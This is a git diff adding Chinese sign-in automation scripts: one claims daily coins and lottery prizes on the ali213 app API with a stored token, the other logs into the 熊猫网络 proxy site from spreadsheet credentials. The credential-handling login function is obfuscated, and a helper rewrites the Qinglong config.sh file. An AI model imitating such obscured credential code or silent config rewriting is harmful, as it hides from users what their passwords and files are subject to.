getSign(timeout = 3 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://api3.ali213.net/feedearn/signing?action=set&token=${token}`, + headers: { + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": "ali213app", + "Content-Type": "application/x-www-form-urlencoded", + "Host": 'api3.ali213.net', + "Accept-Language": 'zh-Hans-CN;q=1' + }, + body: 'count=5&paged=1', + } + + if (debug) { + log(`\n【debug】=============== 这是 查询签到状态 请求 url ===============`); + log(JSON.stringify(url)); + } + + $.post(url, async (error, response, data) => { + try { + if (debug) { + log(`\n\n【debug】===============这是 查询签到状态 返回data==============`); + log(data) + } + + let result = JSON.parse(data); + if (result.data.status == 1 && result.data.msg == '\u7b7e\u5230\u6210\u529f') { //签到成功 + + log(`签到成功,获得金币:${result.data.coins}`) + msg += `\n签到成功,获得金币:${result.data.coins}` + await $.wait(2 * 1000); + + } + else if (result.data.status == 0 && result.data.msg == '\u7b7e\u5230\u5931\u8d25\uff0c\u91cd\u590d\u7b7e\u5230'){ + + log(`账号[${name}]今天已签到,签到日期:${result.signinfo.qiandaotime}`) + msg += `\n账号[${name}]今天已经签到了` + + } + else if (result.data.status == 0 && result.data.msg == '\u7528\u6237\u672a\u767b\u5f55\u6216\u767b\u5f55\u5df2\u8d85\u65f6'){ + + log(`\n用户未登录或登录已超时`) + msg += `\n用户未登录或登录已超时` + + } + else if (result == null){ + + log(`\n账号[${name}]签到失败:原因未知`) + msg += `\n账号[${name}]签到失败:签到失效` + + } + + } catch (e) { + log(e) + } finally { + resolve(); + } + }, timeout) + }) + } + + /** + * 查一周签到时间,到时间自动抽奖 + */ + function weeksigncheck(timeout = 3 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://api3.ali213.net/feedearn/oldusermonthactivity?token=${token}`, + headers: { + "Accept-Encoding": "gzip, deflate, br", + "Accept": "*/*", + "Connection": "keep-alive", + "Host": 'api3.ali213.net', + "User-Agent": "ali213app", + "Accept-Language": 'zh-Hans-CN;q=1', + "Content-Length": "0" + }, + } + + if (debug) { + log(`\n【debug】=============== 这是 查一周签到时间 请求 url ===============`); + log(JSON.stringify(url)); + } + + $.get(url, async (error, response, data) => { + try { + if (debug) { + log(`\n\n【debug】===============这是 查一周签到时间 返回data==============`); + log(data) + } + + let result = JSON.parse(data); + let weeksingday = result.data.signday + if (result.status == 1) { + + log(`第${weeksingday}天完成签到,第七天可以抽奖领取奖励\n`) + msg += `\n账号[${name}]第${weeksingday}天完成签到,第七天可以抽奖领取奖励` + + if(weeksingday == 7){ + + log(`今天是第七天了,可以抽奖领取奖励`) + await kjl(); + } + + } else { + + log('查询失败') + } + + } catch (e) { + log(e) + } finally { + resolve(); + } + }, timeout) + }) + } + + /** + *查询金币信息 + */ + function checkcoin(timeout = 3 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://api3.ali213.net/feedearn/userbaseinfo?token=${token}`, + headers: { + "Accept-Encoding": "gzip, deflate, br", + "Accept": "*/*", + "Connection": "keep-alive", + "Host": 'api3.ali213.net', + "User-Agent": "ali213app", + "Accept-Language": 'zh-Hans-CN;q=1', + "Content-Length": "0" + }, + } + + if (debug) { + log(`\n【debug】=============== 这是 查询金币 请求 url ===============`); + log(JSON.stringify(url)); + } + + $.get(url, async (error, response, data) => { + try { + if (debug) { + log(`\n\n【debug】===============这是 查询金币 返回data==============`); + log(data) + } + + let result = JSON.parse(data); + if (result.username == `${name}`) { + + allcoin = result.coins + cash = result.available + log(`账号[${name}]总金币:${allcoin}个,可用现金:${cash}`) + msg += `\n账号[${name}]总金币:${allcoin}个,可用现金:${cash}(忽略小数点)` + + } else { + + log(`查询失败`) + msg += `\n查询失败` + } + + } catch (e) { + log(e) + } finally { + resolve(); + } + }, timeout) + }) + } + + /** + * 一周签到 + */ + function weeksign(timeout = 3 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://api3.ali213.net/feedearn/olduseractivitysign?token=${token}`, + headers: { + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": "ali213app", + "Content-Type": "application/x-www-form-urlencoded", + "Host": 'api3.ali213.net', + "Accept-Language": 'zh-Hans-CN;q=1' + }, + } + + if (debug) { + log(`\n【debug】=============== 这是 周签状态 请求 url ===============`); + log(JSON.stringify(url)); + } + + $.get(url, async (error, response, data) => { + try { + if (debug) { + log(`\n\n【debug】===============这是 周签状态 返回data==============`); + log(data) + } + + let result = JSON.parse(data); + if (result.status == 1 && result.msg == '\u7b7e\u5230\u6210\u529f') { //\u7b7e\u5230\u6210\u529f签到成功 + + log('周签成功') + + } else if(result.msg == '\u60a8\u4eca\u5929\u5df2\u7b7e\u5230') { + + log(`账号[${name}]礼包周签今天已签到`) + + } else { + + log('查询签到状态失败') + + } + + } catch (e) { + log(e) + } finally { + resolve(); + } + }, timeout) + }) + } + + /** + * 第七天抽奖 + */ + function kjl(timeout = 3 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://api3.ali213.net/feedearn/olduseractivityprizing?token=${token}`, + headers: { + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": "ali213app", + "Content-Type": "application/x-www-form-urlencoded", + "Host": 'api3.ali213.net', + "Accept-Language": 'zh-Hans-CN;q=1' + }, + } + + if (debug) { + log(`\n【debug】=============== 这是 抽奖 请求 url ===============`); + log(JSON.stringify(url)); + } + + $.get(url, async (error, response, data) => { + try { + if (debug) { + log(`\n\n【debug】===============这是 抽奖 返回data==============`); + log(data) + } + + let result = JSON.parse(data); + if (result.status == 0 && result.msg == '\u672a\u5230\u62bd\u5956\u65e5\u671f') { //\u672a\u5230\u62bd\u5956\u65e5\u671f 未到抽奖日期 + + log('未到抽奖日期') + msg += `\n账号[${name}]今天不是抽奖日` + + + } else if (result.status == 0 && result.msg == '\u60a8\u5df2\u62bd\u8fc7\u5956\u4e86'){ + + log(`今天已经抽过奖了`) + msg += `\n账号[${name}]今天已经抽过奖了` + } + + } catch (e) { + log(e) + } finally { + resolve(); + } + }, timeout) + }) + } +// ============================================变量检查============================================ \\ + async function Envs() { + if (yxw) { + if (yxw.indexOf("\n") != -1) { + yxw.split("\n").forEach((item) => { + yxwArr.push(item); + }); + } else { + yxwArr.push(yxw); + } + } else { + log(`\n 【${$.name}】:未填写变量 yxw`) + return; + } + + return true; + } + + // ============================================发送消息============================================ \\ + async function SendMsg(message) { + if (!message) + return; + + if (Notify > 0) { + if ($.isNode()) { + var notify = require('./sendNotify'); + await notify.sendNotify($.name, message); + } else { + $.msg(message); + } + } else { + log(message); + } + } + + /** + * 随机数生成 + */ + function randomString(e) { + e = e || 32; + var t = "QWERTYUIOPASDFGHJKLZXCVBNM1234567890", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n + } + + /** + * 随机整数生成 + */ + function randomInt(min, max) { + return Math.round(Math.random() * (max - min) + min) + } + + /** + * 获取毫秒时间戳 + */ + function timestampMs(){ + return new Date().getTime(); + } + + /** + * 获取秒时间戳 + */ + function timestampS(){ + return Date.parse(new Date())/1000; + } + + + + /** + * 修改配置文件 + */ + function modify() { + + fs.readFile('/ql/data/config/config.sh','utf8',function(err,dataStr){ + if(err){ + return log('读取文件失败!'+err) + } + else { + var result = dataStr.replace(/regular/g,string); + fs.writeFile('/ql/data/config/config.sh', result, 'utf8', function (err) { + if (err) {return log(err);} + }); + } + }) + } + + function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxxx") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/脚本库/web版/账密/熊猫网络/2025-08-25_xmdl_0cddb80d.js b/脚本库/web版/账密/熊猫网络/2025-08-25_xmdl_0cddb80d.js new file mode 100644 index 0000000..c13c4e5 --- /dev/null +++ b/脚本库/web版/账密/熊猫网络/2025-08-25_xmdl_0cddb80d.js @@ -0,0 +1,460 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/xmdl.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xmdl.js +// # Repo: imoki/sign_script +// # Path: polymerization/xmdl.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 0cddb80da31aedf5c5289c88965c5cee00f1428881e7dde05d0ae1d5f86cb02b +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "熊猫网络" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(2.0) + 更新时间:20241106 + 环境变量名:xmdl + 环境变量值:http://www.xiongmaodaili.com?invitationCode=1368A6DA-2960-4070-9F9B-4ABACC8D678D 需要用户名和密码 +*/ + +var sheetNameSubConfig = "xmdl"; // 分配置表名称 +var pushHeader = "【熊猫网络】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +qlSwitch = 0 + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate() { + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message) { + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + // 找到指定的表行 + if (Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig) { + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + } + +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== +// =================共用开始=================== +flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 +// 主配置工作表存在 +if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } +} + +flagPush = ActivateSheet(sheetNamePush); // 激活推送表 +// 推送工作表存在 +if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) +} + +// 邮箱配置函数 +emailConfig(); + +flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 +if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if (qlSwitch != 1) { // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + } else { + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1") + execHandle(cookie, i); + break; // 只取一个 + } + } + } + +} + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge() { + // console.log(messageArray) + let message = "" + for (i = 0; i < messageArray.length; i++) { + if (messageArray[i] != "" && messageArray[i] != null) { + message += "\n" + messageHeader[i] + messageArray[i] + ""; // 加上推送头 + } + } + if (message != "") { + console.log("✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨") + console.log(message + "\n") // 打印总消息 + console.log("✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨") + } + return message +} + +function sleep(d) { + for (var t = Date.now(); Date.now() - t <= d;); +} + +// 获取sign,返回小写 +function getsign(data) { + var sign = Crypto.createHash("md5") + .update(data, "utf8") + .digest("hex") + // .toUpperCase() // 大写 + .toString(); + return sign; +} + +// =================共用结束=================== + +// cookie字符串转json格式 +function cookie_to_json(cookies) { + var cookie_text = cookies; + var arr = []; + var text_to_split = cookie_text.split(";"); + for (var i in text_to_split) { + var tmp = text_to_split[i].split("="); + arr.push('"' + tmp.shift().trim() + '":"' + tmp.join(":").trim() + '"'); + } + var res = "{\n" + arr.join(",\n") + "\n}"; + return JSON.parse(res); +} + +// 获取10 位时间戳 +function getts10() { + var ts = Math.round(new Date().getTime() / 1000).toString(); + return ts; +} + +// 获取13位时间戳 +function getts13() { + // var ts = Math.round(new Date().getTime()/1000).toString() // 获取10 位时间戳 + let ts = new Date().getTime() + return ts +} + +// 符合UUID v4规范的随机字符串 b9ab98bb-b8a9-4a8a-a88a-9aab899a88b9 +function generateUUID() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, + v = c === 'x' ? r : (r & 0x3 | 0x8); + return v.toString(16); + }); +} + +function getUUIDDigits(length) { + var uuid = generateUUID(); + return uuid.replace(/-/g, '').substr(16, length); +} + +function login(_0x2fbd38,_0xc0d2c5,_0x42817e){messageSuccess="".split("").reverse().join("");messageFail="".split("").reverse().join("");token="".split("").reverse().join("");resp=HTTP["\u0070\u006f\u0073\u0074"](_0x2fbd38,_0x42817e,{"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0xc0d2c5,"\u0076\u0065\u0072\u0069\u0066\u0079":"\u0046\u0061\u006c\u0073\u0065"});console["\u006c\u006f\u0067"](resp);if(resp["\u0073\u0074\u0061\u0074\u0075\u0073"]==(0xc01b3^0xc017b)){respj=resp["\u006a\u0073\u006f\u006e"]();console["\u006c\u006f\u0067"](respj);code=respj["\u0063\u006f\u0064\u0065"];console["\u006c\u006f\u0067"](code);if(code==(0x7a616^0x7a616)){token=resp['msg']['headers']["\u0053\u0065\u0074\u002d\u0043\u006f\u006f\u006b\u0069\u0065"];console["\u006c\u006f\u0067"](token);cookies=token['toString']()["\u0073\u0070\u006c\u0069\u0074"](';');token=cookies[0x3835b^0x3835b];console['log'](token);content='📢\x20'+"\n\u529F\u6210\u5F55\u767B".split("").reverse().join("");messageSuccess+=content;console["\u006c\u006f\u0067"]